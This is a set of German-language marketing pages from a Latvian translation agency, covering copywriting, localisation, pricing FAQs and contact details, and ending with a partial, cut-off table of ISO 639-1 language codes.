https://skrivanek.lv/pakalpojumi/tekstu-adaptacija-un-radosu-tekstu-sagatavosana/ - Translation Priorities: Optional TEXTANPASSUNG Unser Team wird den Text so anpassen, dass er für das von Ihnen gewählte Zielpublikum leichter verständlich ist, wobei die Feinheiten der jeweiligen Kultur oder sozialen Gruppe berücksichtigt werden. Dieser Ansatz wird am häufigsten bei Werbetexten und kreativen Texten verwendet. Kontakt KREATIVES COPYWRITING Bei der Übersetzung und Produktion kreativer Texte achten wir besonders auf die Wahl der Anrede, Schreibweise und die Verwendung von Diminutiven. Wir sorgen dafür, dass ein kreativer Text nicht losgelöst von seinen visuellen oder akustischen Elementen wahrgenommen werden kann, sondern dass alles zusammen eine harmonische Botschaft ergibt. Mehr erfahren GRAMMATIKALISCHE UND STILISTISCHE VERBESSERUNG VON TEXTEN Wir bieten Korrekturlesen, stilistische Verbesserungen, Vergleiche von Übersetzungen mit dem Original und Lektorat an. Dies gilt auch für Texte, die nicht von uns erstellt oder übersetzt wurden. Diese Dienstleistungen werden ausschließlich von Muttersprachlern der Zielsprache erbracht. Mehr erfahren HÄUFIG GESTELLTE FRAGEN Wenn der Text für Marketing- oder Werbezwecke bestimmt ist, reicht eine einfache Übersetzung nicht aus. In den meisten Fällen muss der Text lokalisiert und Redewendungen und andere Ausdrücke geändert werden, um sicherzustellen, dass die Bedeutung von den Benutzern der Zielsprache leicht erfasst werden kann. Dabei werden die Texte so angepasst, dass sie den Anforderungen der Zielgruppe in der Zielsprache entsprechen. Wir arbeiten, wenn möglich, mit den Originaldokumenten in elektronischer Form, ohne Änderungen an Stil oder Formatierung vorzunehmen. Bei Bedarf garantieren wir, dass die Übersetzung des Kundendokuments genauso aussieht wie das Original oder formatieren es mit Hilfe unseres DTP-Teams nach den Anweisungen des Kunden. Ja, alle Preise für natürliche Personen verstehen sich inklusive Mehrwertsteuer. Für Firmenkunden sind die Preise ohne Mehrwertsteuer angegeben. Gemäß der EU-Verordnung berechnen wir keine Mehrwertsteuer auf Dienstleistungen, die wir für mehrwertsteuerpflichtige Unternehmen in anderen Mitgliedsländern erbringen. Nach dem Reverse-Charge-Verfahren geht die Steuerschuld auf den Empfänger der Dienstleistung über. SEIT MEHR ALS 30 JAHREN AUF DEM MARKT! Wir verfügen über umfangreiche Erfahrung in der Übersetzung von Texten zu verschiedenen Themen. 0+ verschiedene Sprachkombinationen 0+ MILLION Im Jahr 2023 übersetzte Wörter 0+ Sprachspezialisten 0 ISO-Zertifikate --- > Erfahren Sie mehr über die Copywriting Dienstleistung von Skrivanek. Ändern Sie Ihre Inhalte und ziehen Sie Ihr Publikum in Ihren Bann. Ihre Worte, unser Handwerk. - Published: 2025-01-06 - Modified: 2025-07-17 - URL: https://skrivanek.lv/radosu-tekstu-sagatavosana/ - Translation Priorities: Optional VERFASSEN VON WERBETEXTEN UND MEHRSPRACHIGEN MARKETINGTEXTEN Uns ist bewusst, dass Menschen sich vorsätzlich entscheiden Werbung nicht zu lesen. Sie lesen und hören an, was sie wirklich interessiert und nur manchmal fallen auch Werbeanzeigen darunter. Haben Sie sich jemals gefragt, wie ein Sprachdienstleister Ihnen helfen könnte, in einem überfüllten Informationsraum gehört zu werden? Die kreativen Copywriter von Skrivanek arbeiten eng mit dem Kunden zusammen und erstellen einen Text nicht einfach mal so, sondern studieren sorgfältig alle Feinheiten Ihres Produkts. Hervorragende Schreibfähigkeiten sind nicht die einzigen Talente, die Copywriter benötigen, um unseren Kunden zu internationalen Wachstum zu verhelfen. Bei der Erstellung und Anpassung von Texten für ausländische Märkte ist es die Aufgabe des Copywriters, die Einzigartigkeit und den Tonfall der Botschaft beizubehalten und gleichzeitig die kulturellen Unterschiede und Gepflogenheiten des Publikums zu respektieren und die ungeschriebenen Regeln der Kommunikation und Etikette anzuwenden. Wenn Sie auf der Suche nach einem Sprachdienstleister sind, der wirklich ansprechende Werbetexte erstellt und sich um den mehrsprachigen Inhalt Ihrer Webseite kümmert, um möglichst viele potenzielle Kunden auf der ganzen Welt zu erreichen, dann sind Sie bei uns genau an der richtigen Adresse. DIE WICHTIGKEIT VON WERBUNG UND MEHRSPRACHIGEN MARKETINGTEXTEN FÜR DAS WACHSTUM IHRES UNTERNEHMENS Die Arbeit mit Texten ist eine der wichtigsten Aufgaben der Marketingabteilung eines jeden Unternehmens - auch Ihres! Worte besitzen die Kraft, Ihre Kunden zu beeinflussen oder zum Handeln aufzufordern - und das ist der Schlüssel zum Erfolg jeder Marketingkampagne. Marketingtexte sind alle Arten von Texten, die Ihr Unternehmen für seine Verkaufsaktivitäten oder zur Förderung seiner Produkte und Dienstleistungen verwenden kann. Diese reichen von Druckerzeugnissen, Präsentationen und E-Mail-Entwürfen bis hin zu leicht umsetzbaren mehrsprachigen Inhalten für Ihre Website, einschließlich Audio- und Videotexten des Unternehmens. Die Arbeit mit Texten ist wie eine innige Unterhaltung mit Ihrem besten Freund - jemandem, der Sie inspiriert. Um einen wirksamen und zielgerichteten Werbeslogan zu verfassen, muss der Copywriter seinen Leser, seine Interessen und Gewohnheiten und sogar seine sehnsüchtigsten Träume sehr gut kennen. Die Anpassung oder Lokalisierung vorgefertigter Inhalte von Webseiten erfordert dagegen eine Recherche des Publikums im gewählten Zielmarkt oder -land. Besonders wichtig ist, frühzeitig eine Google-Schlüsselwort-Recherche durchzuführen, damit wir von Anfang an die Sprache des Landes sprechen, in dem potenzielle Kunden nach Ihrem Produkt oder Ihrer Dienstleistung suchen. EINZIGARTIGES COPYWRITING UND MEHRSPRACHIGES CONTENT-MARKETING Was ist der Unterschied zwischen einzigartigem Copywriting und mehrsprachigem Content-Marketing? Unter Content-Marketing versteht man alle Inhalte, die Ihr Unternehmen regelmäßig erstellt und im Internet veröffentlicht, um die Position Ihres Unternehmens in den Suchmaschinenergebnissen zu verbessern und damit auch den indirekten Vertrieb zu fördern. Dazu gehören in der Regel Bloginhalte über das Fachgebiet, auf das Sie sich spezialisiert haben, Erfahrungsberichte sowie Unterhaltungs- und Lehrmaterial. Warum ist das wichtig? Die ist leicht zu beantworten: Um langfristige Beziehungen zu Ihren Kunden aufzubauen, es interessant für sie zu machen, Ihnen in den Sozialen Medien zu folgen und dort einen Dialog mit Ihnen zu führen, damit Kunden Ihren Blog lesen und mit anderen teilen, und damit sie ihren Freunden von Ihnen erzählen. Wie kann Skrivanek Ihnen dabei helfen? Wir sprechen mehr als 110 Sprachen Ihrer potenziellen Kunden. Nie zuvor war es so einfach, Ihr Zielpublikum überall auf der Welt zu erreichen. Wählen Sie einfach ein Land oder eine Region aus und die Copywriter von Skrivanek kümmern sich um den Rest. Interkulturelle Kommunikation ist unsere Spezialität. Suchen Sie nach kreativem Copywriting? Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Kunde *PrivatpersonUnternehmen Name und Nachname *Telefonnummer Hinzufügen Entfernen Name und Nachname *Telefonnummer Hinzufügen Entfernen Firmenname *Telefonnummer Hinzufügen Entfernen Firmenname *Telefonnummer Hinzufügen Entfernen E-Mail Adresse *Sprachkombination Hinzufügen Entfernen E-Mail Adresse *Sprachkombination Hinzufügen Entfernen Zusätzliche InformationenDokument hochladen, max. 20 MB, wenn das Dokument größer ist, schreiben Sie es in Ihrer Nachricht und wir werden Sie kontaktieren Click or drag files to this area to upload. You can upload up to 10 files. Wie haben Sie von uns erfahren? Wie haben Sie von uns erfahren? Ich bin ein Kunde von SkrivanekGoogle-SuchmaschineVorschlag von einem Freund/ BekanntenFacebookTwitterLinkedInInstagramAußenwerbungMesse / AusstellungGedruckte WerbungAndereMit dem Klicken auf die Schaltfläche „Einreichen“ stimmen Sie der Verarbeitung Ihrer personenbezogenen Daten gemäß der Datenschutzbestimmungen von Skrivanek Baltic zu. Einreichen Oder buchen Sie jetzt eine Online-Beratung! VERFASSEN VON WERBETEXTEN UND MEHRSPRACHIGEN MARKETINGTEXTEN Uns ist bewusst, dass Menschen sich vorsätzlich entscheiden Werbung nicht zu lesen. Sie lesen und hören an, was sie wirklich interessiert und nur manchmal fallen auch Werbeanzeigen darunter. Haben Sie sich jemals gefragt, wie ein Sprachdienstleister Ihnen helfen könnte, in einem überfüllten Informationsraum gehört zu werden? Die kreativen Copywriter von Skrivanek arbeiten eng mit dem Kunden zusammen und erstellen einen Text nicht einfach mal so, sondern studieren sorgfältig alle Feinheiten Ihres Produkts. Hervorragende Schreibfähigkeiten sind nicht die einzigen Talente, die Copywriter benötigen, um unseren Kunden zu internationalen Wachstum zu verhelfen. Bei der Erstellung und Anpassung von Texten für ausländische Märkte ist es die Aufgabe des Copywriters, die Einzigartigkeit und den Tonfall der Botschaft beizubehalten und gleichzeitig die kulturellen Unterschiede und Gepflogenheiten des Publikums zu respektieren und die ungeschriebenen Regeln der Kommunikation und Etikette anzuwenden. Wenn Sie auf der Suche nach einem Sprachdienstleister sind, der wirklich ansprechende Werbetexte erstellt und sich um den mehrsprachigen Inhalt Ihrer Webseite kümmert, um möglichst viele potenzielle Kunden auf der ganzen Welt zu erreichen, dann sind Sie bei uns genau an der richtigen Adresse. DIE WICHTIGKEIT VON WERBUNG UND MEHRSPRACHIGEN MARKETINGTEXTEN FÜR DAS WACHSTUM IHRES UNTERNEHMENS Die Arbeit mit Texten ist eine der wichtigsten Aufgaben der Marketingabteilung eines jeden Unternehmens - auch Ihres! Worte besitzen die Kraft, Ihre Kunden zu beeinflussen oder zum Handeln aufzufordern - und das ist der Schlüssel zum Erfolg jeder Marketingkampagne. Marketingtexte sind alle Arten von Texten, die Ihr Unternehmen für seine Verkaufsaktivitäten oder zur Förderung seiner Produkte und Dienstleistungen verwenden kann. Diese reichen von Druckerzeugnissen, Präsentationen und E-Mail-Entwürfen bis hin zu leicht umsetzbaren mehrsprachigen Inhalten für Ihre Website, einschließlich Audio- und Videotexten des Unternehmens. Die Arbeit mit Texten ist wie eine innige Unterhaltung mit Ihrem besten Freund - jemandem, der Sie inspiriert. Um einen wirksamen und zielgerichteten Werbeslogan zu verfassen, muss der Copywriter seinen Leser, seine Interessen und Gewohnheiten und sogar seine sehnsüchtigsten Träume sehr gut kennen. Die Anpassung oder Lokalisierung vorgefertigter Inhalte von Webseiten erfordert dagegen eine Recherche des Publikums im gewählten Zielmarkt oder -land. Besonders wichtig ist, frühzeitig eine Google-Schlüsselwort-Recherche durchzuführen, damit wir von Anfang an die Sprache des Landes sprechen, in dem potenzielle Kunden nach Ihrem Produkt oder Ihrer Dienstleistung suchen. EINZIGARTIGES COPYWRITING UND MEHRSPRACHIGES CONTENT-MARKETING Was ist der Unterschied zwischen einzigartigem Copywriting und mehrsprachigem Content-Marketing? Unter Content-Marketing versteht man alle Inhalte, die Ihr Unternehmen regelmäßig erstellt und im Internet veröffentlicht, um die Position Ihres Unternehmens in den Suchmaschinenergebnissen zu verbessern und damit auch den indirekten Vertrieb zu fördern. Dazu gehören in der Regel Bloginhalte über das Fachgebiet, auf das Sie sich spezialisiert haben, Erfahrungsberichte sowie Unterhaltungs- und Lehrmaterial. Warum ist das wichtig? Die ist leicht zu beantworten: Um langfristige Beziehungen zu Ihren Kunden aufzubauen, es interessant für sie zu machen, Ihnen in den Sozialen Medien zu folgen und dort einen Dialog mit Ihnen zu führen, damit Kunden Ihren Blog lesen und mit anderen teilen, und damit sie ihren Freunden von Ihnen erzählen. Wie kann Skrivanek Ihnen dabei helfen? Wir sprechen mehr als 110 Sprachen Ihrer potenziellen Kunden. Nie zuvor war es so einfach, Ihr Zielpublikum überall auf der Welt zu erreichen. Wählen Sie einfach ein Land oder eine Region aus und die Copywriter von Skrivanek kümmern sich um den Rest. Interkulturelle Kommunikation ist unsere Spezialität. Suchen Sie nach kreativem Copywriting? Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Kunde *PrivatpersonUnternehmen Name und Nachname *Telefonnummer Hinzufügen Entfernen Name und Nachname *Telefonnummer Hinzufügen Entfernen Firmenname *Telefonnummer Hinzufügen Entfernen Firmenname *Telefonnummer Hinzufügen Entfernen E-Mail Adresse *Sprachkombination Hinzufügen Entfernen E-Mail Adresse *Sprachkombination Hinzufügen Entfernen Zusätzliche InformationenDokument hochladen, max. 20 MB, wenn das Dokument größer ist, schreiben Sie es in Ihrer Nachricht und wir werden Sie kontaktieren Click or drag files to this area to upload. You can upload up to 10 files. Wie haben Sie von uns erfahren? Wie haben Sie von uns erfahren? Ich bin ein Kunde von SkrivanekGoogle-SuchmaschineVorschlag von einem Freund/ BekanntenFacebookTwitterLinkedInInstagramAußenwerbungMesse / AusstellungGedruckte WerbungAndereMit dem Klicken auf die Schaltfläche „Einreichen“ stimmen Sie der Verarbeitung Ihrer personenbezogenen Daten gemäß der Datenschutzbestimmungen von Skrivanek Baltic zu. Einreichen Oder buchen Sie jetzt eine Online-Beratung! AB WANN IST ES NOTWENDIG, KREATIVES COPYWRITING IN BETRACHT ZU ZIEHEN? Die einfache Antwort: immer! Im Grunde hört die Arbeit mit Texten nie auf, denn um die Geschäftsziele eines Unternehmens zu erreichen oder den Absatz zu steigern, müssen immer mehr Texte geschrieben werden. Neue Märkte zu erschließen und neue Produkte zu entwickeln gehört zum Geldverdienen dazu, erfordert aber hochwertige Marketingtexte. Auch die Arbeit an bestehenden Inhalten hört nie auf, denn sie müssen ständig verbessert und an die Parameter der Suchmaschinen angepasst werden. Auch das Verhalten von Zielgruppen ändert sich im Laufe der Zeit: Menschen entscheiden sich für andere soziale Medien oder folgen neuen Influencern, auch die Wertvorstellungen Ihrer Kunden können sich enorm ändern. Skrivanek´s Copywriter verfolgen aufmerksam die neuesten Trends im Marketing und in der Werbung, denn die Realität der bestehenden und potenziellen Zielgruppen in den verschiedenen Ländern entwickelt sich weiter und passt sich an, mit wechselnden Anliegen und Träumen. Zweifelsfrei unterscheidet sich die Werbekultur in den USA von Japans Werbekultur und Traditionen und dass europäische Käufer auf andere Weise nach Produktinformationen suchen als Menschen in Asien, weil wir dazu neigen, nach Lösungen zu suchen, die auf unsere alltäglichen Bedürfnisse und Situationen zugeschnitten sind. COPYWRITING VON MEHRSPRACHIGEN MARKETINGTEXTEN Große und kleine Unternehmen, die in verschiedenen Ländern tätig sind, arbeiten unermüdlich und machen sich Gedanken über die globale Kommunikation und den Markenauftritt ihres Unternehmens. Kommunikations- und Sprachdienstleister, die sich mit den verschiedenen Kommunikationsformen in den verschiedenen Ländern auskennen, sind bei dieser Aufgabe eine große Hilfe. Häufig werden Kommunikationshandbücher und -leitfäden in enger Zusammenarbeit mit dem Kunden erstellt und Texte von Grund auf neu verfasst, aber Marken können sich auch dafür entscheiden, bestehende Inhalte an die Zielgruppe anzupassen. Sie sind unsicher, ob Ihre vorhandenen Texte wirksam genug sind, um die Leser zu erreichen? Die Copywriter von Skrivanek in Lettland, Estland, Litauen, Polen, Deutschland und anderen Ländern in Europa und der Welt helfen Ihnen, Sprachbarrieren zu überwinden und sich Gehör zu verschaffen. Vergessen Sie nicht, dass jedes Produkt und jede Situation einzigartig ist und maßgeschneidert werden muss, um die bestmögliche Lösung zu bieten. DER ERSTE SCHRITT IM KREATIVEN COPYWRITING - WO SOLLTE MAN ANFANGEN? Wenn Sie einen Text verfassen möchten, aber nicht wissen, was Sie schreiben sollen, empfiehlt Skrivanek, sich folgende Fragen zu stellen: Welches Problem löst Ihr Produkt oder Ihre Dienstleistung für Ihre Kunden? Was sind Ihrer Meinung nach die Vorteile Ihres Produkts oder Ihrer Dienstleistung? Inwiefern sind Sie besser als Ihre Konkurrenten? Wer ist Ihr Zielpublikum? Wer ist Ihr idealer Kunde - beschreiben Sie diesen, denken Sie an sein Alter, Geschlecht, seine Hobbys usw. Welche Personen oder Unternehmen haben bisher Ihr Produkt oder Ihre Dienstleistung genutzt? Was wissen Sie über diese? Was erwarten Ihre Stammkunden von Ihnen? Wie erreichen Ihre Produkte oder Dienstleistungen den Kunden? Wollen Sie ein bestehendes Publikum erreichen oder versuchen Sie, neue Kunden anzusprechen? Welches Ziel wollen Sie mit diesem Text erreichen? Was sind die Marketingziele Ihres Unternehmens im Allgemeinen? Welche Art von Text werden Sie schreiben - eine Produktbeschreibung, eine Verkaufs-E-Mail, einen Beitrag für soziale Medien, einen Blog oder eine neue Landingpage für eine Webseite? Gute Schreibfähigkeiten entwickeln sich mit der Zeit und müssen, wie jede andere Fähigkeit auch, gepflegt und geübt werden. DER ERSTE SCHRITT IM KREATIVEN COPYWRITING - WO SOLLTE MAN ANFANGEN? Wenn Sie einen Text verfassen möchten, aber nicht wissen, was Sie schreiben sollen, empfiehlt Skrivanek, sich folgende Fragen zu stellen: Welches Problem löst Ihr Produkt oder Ihre Dienstleistung für Ihre Kunden? Was sind Ihrer Meinung nach die Vorteile Ihres Produkts oder Ihrer Dienstleistung? Inwiefern sind Sie besser als Ihre Konkurrenten? Wer ist Ihr Zielpublikum? Wer ist Ihr idealer Kunde - beschreiben Sie diesen, denken Sie an sein Alter, Geschlecht, seine Hobbys usw. Welche Personen oder Unternehmen haben bisher Ihr Produkt oder Ihre Dienstleistung genutzt? Was wissen Sie über diese? Was erwarten Ihre Stammkunden von Ihnen? Wie erreichen Ihre Produkte oder Dienstleistungen den Kunden? Wollen Sie ein bestehendes Publikum erreichen oder versuchen Sie, neue Kunden anzusprechen? Welches Ziel wollen Sie mit diesem Text erreichen? Was sind die Marketingziele Ihres Unternehmens im Allgemeinen? Welche Art von Text werden Sie schreiben - eine Produktbeschreibung, eine Verkaufs-E-Mail, einen Beitrag für soziale Medien, einen Blog oder eine neue Landingpage für eine Webseite? Gute Schreibfähigkeiten entwickeln sich mit der Zeit und müssen, wie jede andere Fähigkeit auch, gepflegt und geübt werden. AB WANN IST ES NOTWENDIG, KREATIVES COPYWRITING IN BETRACHT ZU ZIEHEN? Die einfache Antwort: immer! Im Grunde hört die Arbeit mit Texten nie auf, denn um die Geschäftsziele eines Unternehmens zu erreichen oder den Absatz zu steigern, müssen immer mehr Texte geschrieben werden. Neue Märkte zu erschließen und neue Produkte zu entwickeln gehört zum Geldverdienen dazu, erfordert aber hochwertige Marketingtexte. Auch die Arbeit an bestehenden Inhalten hört nie auf, denn sie müssen ständig verbessert und an die Parameter der Suchmaschinen angepasst werden. Auch das Verhalten von Zielgruppen ändert sich im Laufe der Zeit: Menschen entscheiden sich für andere soziale Medien oder folgen neuen Influencern, auch die Wertvorstellungen Ihrer Kunden können sich enorm ändern. Skrivanek´s Copywriter verfolgen aufmerksam die neuesten Trends im Marketing und in der Werbung, denn die Realität der bestehenden und potenziellen Zielgruppen in den verschiedenen Ländern entwickelt sich weiter und passt sich an, mit wechselnden Anliegen und Träumen. Zweifelsfrei unterscheidet sich die Werbekultur in den USA von Japans Werbekultur und Traditionen und dass europäische Käufer auf andere Weise nach Produktinformationen suchen als Menschen in Asien, weil wir dazu neigen, nach Lösungen zu suchen, die auf unsere alltäglichen Bedürfnisse und Situationen zugeschnitten sind. COPYWRITING VON MEHRSPRACHIGEN MARKETINGTEXTEN Große und kleine Unternehmen, die in verschiedenen Ländern tätig sind, arbeiten unermüdlich und machen sich Gedanken über die globale Kommunikation und den Markenauftritt ihres Unternehmens. Kommunikations- und Sprachdienstleister, die sich mit den verschiedenen Kommunikationsformen in den verschiedenen Ländern auskennen, sind bei dieser Aufgabe eine große Hilfe. Häufig werden Kommunikationshandbücher und -leitfäden in enger Zusammenarbeit mit dem Kunden erstellt und Texte von Grund auf neu verfasst, aber Marken können sich auch dafür entscheiden, bestehende Inhalte an die Zielgruppe anzupassen. Sie sind unsicher, ob Ihre vorhandenen Texte wirksam genug sind, um die Leser zu erreichen? Die Copywriter von Skrivanek in Lettland, Estland, Litauen, Polen, Deutschland und anderen Ländern in Europa und der Welt helfen Ihnen, Sprachbarrieren zu überwinden und sich Gehör zu verschaffen. Vergessen Sie nicht, dass jedes Produkt und jede Situation einzigartig ist und maßgeschneidert werden muss, um die bestmögliche Lösung zu bieten. Qualität und Diskretion durch ISO-Zertifikate garantiert Unsere Projektmanager sprechen Lettisch, Russisch, Englisch, Deutsch und Polnisch. 99% der Kunden erhalten ein Preisangebot in weniger als 15 MinutenMehr als 3000 Sprachexperten und MuttersprachlerMehr als 98% unserer Kunden würden uns ihren Freunden und Partnern weiterempfehlenIn unserem Büro werden jedes Jahr mehr als 16 Millionen Wörter übersetzt --- - Published: 2025-01-06 - Modified: 2025-01-07 - URL: https://skrivanek.lv/paldies-par-pieprasijumu/ - Translation Priorities: Optional Vielen Dank, dass Sie sich an Skrivanek wenden! Unser Projektmanager wird sich in Kürze mit Ihnen in Verbindung setzen.  Unsere Öffnungszeiten sind Montag bis Freitag von 9:00 bis 17:30 Uhr. tt Wenn Sie weitere Fragen haben, können Sie gerne unser Hilfecenter besuchen.  Werfen Sie doch einen Blick auf unseren Blog, um mehr über Trends in der Sprachindustrie zu erfahren. BENÖTIGEN SIE WEITERE INFORMATIONEN? SCHICKEN SIE UNS EINE E-MAIL ODER RUFEN SIE UNS AN! Egal ob Sie Fragen zu Übersetzungen, Sprachkursen oder anderen Sprachdienstleistungen haben oder einfach nur Beratung in Bezug auf Sprache benötigen, das Team von Skrivanek wird sie gerne beantworten.  birojs@skrivanek. lv  +371 26 382 680  +371 67 240 364 Weitere Dienstleistungen von Skrivanek Baltikum: FREMDSPRACHEN- UND LETTISCHKURSE FÜR PRIVATPERSONEN UND UNTERNEHMEN Sprachkurse für Herz und Beruf - online oder vor Ort! Wählen Sie das Passende für sich! VALODUMACIBAS. LV SCHWERPUNKT - FREMDSPRACHENPRÜFUNG Schnelles und effektives Online-Tool zur Bewertung der Sprachkenntnisse Ihrer Mitarbeiter und Bewerber. ERFAHREN SIE MEHR --- > Die ISO 639-1 Sprachcodes stehen für die wichtigsten Weltsprachen. Die Codes werden durch Infoterm (Internationales Informationszentrum für Terminologie) zugewiesen. - Published: 2025-01-06 - Modified: 2025-07-18 - URL: https://skrivanek.lv/valodu-kodi/ - Translation Priorities: Optional Die ISO 639-1 Sprachcodes stehen für die wichtigsten Weltsprachen. Es handelt sich um Sprachcodes, die für die Bedürfnisse von Terminologie, Linguistik, Übersetzung und Dokumentation sowie Lexikographie und Information entwickelt wurden. Die Codes werden vom Infoterm mit Sitz in Wien, Österreich, vergeben. LÄNDERCODE (GEMÄß ISO 639-1) NAME DER SPRACHE AUF ENGLISCH LÄNDER UND TERRITORIEN, IN DENEN DIE SPRACHE VERWENDET WIRD AA Afar Die Republik Dschibuti, der Staat Eritrea, die Demokratische Bundesrepublik Äthiopien AB Abchasien Abchasien (Georgien) AE Avestisch Die Islamische Republik Iran AF Afrikaans Die Republik Südafrika, die Republik Namibia AK Akan Die Republik Ghana, der östliche Teil der Elfenbeinküste AM Amharisch Die Demokratische Bundesrepublik Äthiopien AN Aragonesisch Aragonien (das Königreich Spanien) AR Arabisch Die Demokratische Volksrepublik Algerien, die Vereinigten Arabischen Emirate, das Königreich Bahrain, die Jemenitische Republik, das Haschemitische Königreich Jordanien, der Staat Katar, Kuwait, Libyen, das Königreich Marokko, das Sultanat Oman, die Westsahara, das Königreich Saudi-Arabien, die Republik Sudan, die Tunesische Republik AS Assamisch Assam (die Republik Indien) AV Avarisch Der Nordwestlicher Teil von Aserbaidschan (Republik Aserbaidschan), die Republik Dagestan (Russische Föderation) AY Aymara Die Stammessprache des indigenen Aymara Volkes - westlicher Teil der Republik Bolivien, nördlicher Teil der Republik Chile, südlicher Teil der Republik Peru AZ Aserbaidschanisch Die Republik Aserbaidschan, nordwestlicher Teil der Islamischen Republik Iran BA Baschkirisch Die Republik Baschkortostan (Russische Föderation) BE Belarussisch Die Republik Belarus BG Bulgarisch Die Republik Bulgarien BH Bihari Bihar (Indien) BI Bislama Die Republik Vanuatu BM Bambara Burkina Faso, die Republik Côte d'Ivoire (Elfenbeinküste), die Republik Senegal BN Bengalisch Assam und Westbengalen (die Republik Indien), Bangladesch BO Tibetisch Tibet (die Volksrepublik China) BR Bretonisch Bretagne (die Republik Frankreich) BS Bosnisch Die Republik Bosnien und Herzegowina, die Republik Montenegro, die Republik Serbien CA Katalanisch Das Fürstentum Andorra, Katalonien (das Königreich Spanien) CE Tschetschenisch Tschetschenien (die Russische Föderation) CH Chamorro Guam, die Nördlichen Marianen CO Korsika Korsisch (die Republik Frankreich), Nordsardinien (die Republik Italien) CR Cree Sprache der kanadischen Aborigines CS Tschechisch Die Tschechische Republik CU Altkirchenslawisch Die erste slawische Literatursprache (Bibelschriften und andere alte Schriften) CV Tschuwaschisch Die Republik Tschuwaschien und ihre Nachbarländer (die Russische Föderation) CY Walisisch Wales (das Vereinigte Königreich von Großbritannien und Nordirland) DA Dänisch Das Königreich Dänemark DE Deutsch Die Republik Österreich, das Königreich Belgien, das Fürstentum Liechtenstein, das Großherzogtum Luxemburg, die Schweizerische Eidgenossenschaft, die Bundesrepublik Deutschland DV Maledivisch Die Republik der Malediven DZ Dzongkha Das Königreich Bhutan EE Ewe Die Republik Benin, die Republik Ghana, die Republik Togo EL Griechisch Die Hellenische Republik (Griechenland), die Republik Zypern EN Englisch Die Vereinigten Staaten von Amerika, Australien, die Republik Südafrika, Kanada, das Vereinigte Königreich von Großbritannien und Nordirland, usw. EO Esperanto Internationale Plansprache ES Spanisch Das Königreich Spanien, mehrere südamerikanische Länder ET Estnisch Die Republik Estland EU Baskisch Südwestlicher Teil der Französischen Republik, zentraler Teil des Königreichs Spanien FA Persisch Der Islamische Staat Afghanistan, die Islamische Republik Iran, die Republik Tadschikistan FF Fulfulde Die Republik Gambia, die Republik Guinea, die Republik Kamerun, die Republik Senegal, die Republik Sudan FI Finnisch Die Republik Finnland FJ Fidschi Die Republik Fidschi FO Färöisch Färöer-Inseln (das Königreich Dänemark) FR Französisch Das Königreich Belgien, die Republik Frankreich, Kanada, das Großherzogtum Luxemburg, mehrere Länder in Afrika FY Westfriesisch die niederländische Provinz Friesland GA Irisch Irland, das Vereinigte Königreich von Großbritannien und Nordirland GD Gälisch Schottland (das Vereinigte Königreich von Großbritannien und Nordirland) GL Galicisch Galicien (das Königreich Spanien), die Portugiesische Republik GN Guaraní Die Republik Paraguay GU Gujarati Gujarati und andere Unionsterritorien Indiens (die Republik Indien) GV Manx Isle Man (Vereinigtes Königreich von Großbritannien und Nordirland) HA Hausa Die Republik Niger, nördlicher Teil der Bundesrepublik Nigeria HE Hebräisch Israel HI Hindi Zentrale und nördliche Teile der Republik Indien HO Hiri Motu Der Unabhängige Staat Papua-Neuguinea HR Kroatisch Die Republik Bosnien und Herzegowina, die Republik Kroatien, Montenegro HT Haitianisch-Kreolisch Die Republik Haiti HU Ungarisch Die Republik Ungarn HY Armenisch Die Republik Armenien HZ Herero Die Republik Botsuana, die Republik Namibia IA Interlingua Internationale Plansprache, die zwischen 1937 und 1951 von der Internationalen Hilfssprachengesellschaft (IALA) entwickelt wurde ID Indonesisch Die Republik Indonesien IE Interlingue Plansprache, die 1922 von Edgar de Wahl geschaffen wurde IG Igbo Die Bundesrepublik Nigeria II Yi Volksrepublik China (Provinz Sichuan) IK Inupiaq Nördliche und nordwestliche Teile von Alaska (Vereinigte Staaten von Amerika) IO Ido Plansprache aus dem Jahr 1907 IS Isländisch Die Republik Island IT Italienisch Die Republik Italien, die Republik San Marino, die Schweizerische Eidgenossenschaft, der Staat der Vatikanstadt IU Inuktitut Nordkanada JA Japanisch Japan JV Javanisch Insel Java (die Republik Indonesien) KA Georgisch Georgien KG Kongo Die Republik Angola, die Demokratische Republik Kongo, die Republik Kongo KI Kikuyu Die Republik Kenia KJ Kwanyama Die Republik Angola, die Republik Namibia KK Kasachisch Die Republik Kasachstan, die Republik Kirgisistan, die Russische Föderation, die Ukraine, die Republik Usbekistan KL Grönländisch Grönland (das Königreich Dänemark) KM Khmer Das Königreich Kambodscha, die Sozialistische Republik Vietnam KN Kannada Karnataka (die Republik Indien) KO Koreanisch Die Republik Korea, die Demokratische Volksrepublik Korea KR Kanuri Die Republik Tschad, die Republik Kamerun, die Republik Niger, die Bundesrepublik Nigeria KS Kashmiri Jammu und Kaschmir (die Republik Indien), die Islamische Republik Pakistan KU Kurdisch Im Norden der Republik Irak, nordwestlicher Teil der Islamischen Republik Iran, südöstlicher Teil der Republik Türkei KV Komi Die Republik Komi (Russische Föderation) KW Kornisch Cornwall (Vereinigtes Königreich von Großbritannien und Nordirland) KY Kirgisisch Die Republik Kirgisistan LA Latein Der Staat der Vatikanstadt, die offizielle Sprache der römisch-katholischen Kirche. Latein wird derzeit in der Biologie, Medizin und anderen Bereichen als international anerkannte wissenschaftliche Terminologiesprache verwendet. LB Luxemburgisch Das Großherzogtum Luxemburg LG Luganda Südost-Uganda (die Republik Uganda) LI Limburgisch/ Südniederfränkisch Das Königreich Belgien, die niederländische Grenze (das Königreich der Niederlande), die Bundesrepublik Deutschland LN Lingala Die Demokratische Republik Kongo, die Republik Kongo, die Republik Angola LO Laotisch Demokratische Volksrepublik Laos, das Königreich Thailand LT Litauisch Die Republik Litauen LU Kiluba Die Demokratische Republik Kongo LV Lettisch Die Republik Lettland MG Malagasy Die Republik Madagaskar MH Marshallesisch/ Ebon Die Republik Marshallinseln, die Republik Nauru MI Maori Neuseeland MK Mazedonisch Die Republik Mazedonien ML Malayalam Kerala (die Republik Indien) MN Mongolisch Mongolei RO Rumänisch/ Moldauisch Die Republik Moldau MR Marathi Maharashtra (die Republik Indien) MS Malaiisch Osttimor, Brunei Darussalam, die Republik Indonesien, Malaysia, die Republik Singapur MT Maltesisch Die Republik Malta MY Birmanisch Die Republik der Union Myanmar NA Nauruisch Die Republik Nauru NB Bokmål Eine der beiden Schriftformen der norwegischen Sprache im Königreich Norwegen. Es basiert auf dem dänischen Wortschatz und der Grammatik sowie der norwegischen Phonetik. ND Nord-Ndebele Die Republik Simbabwe NE Nepali Das Königreich 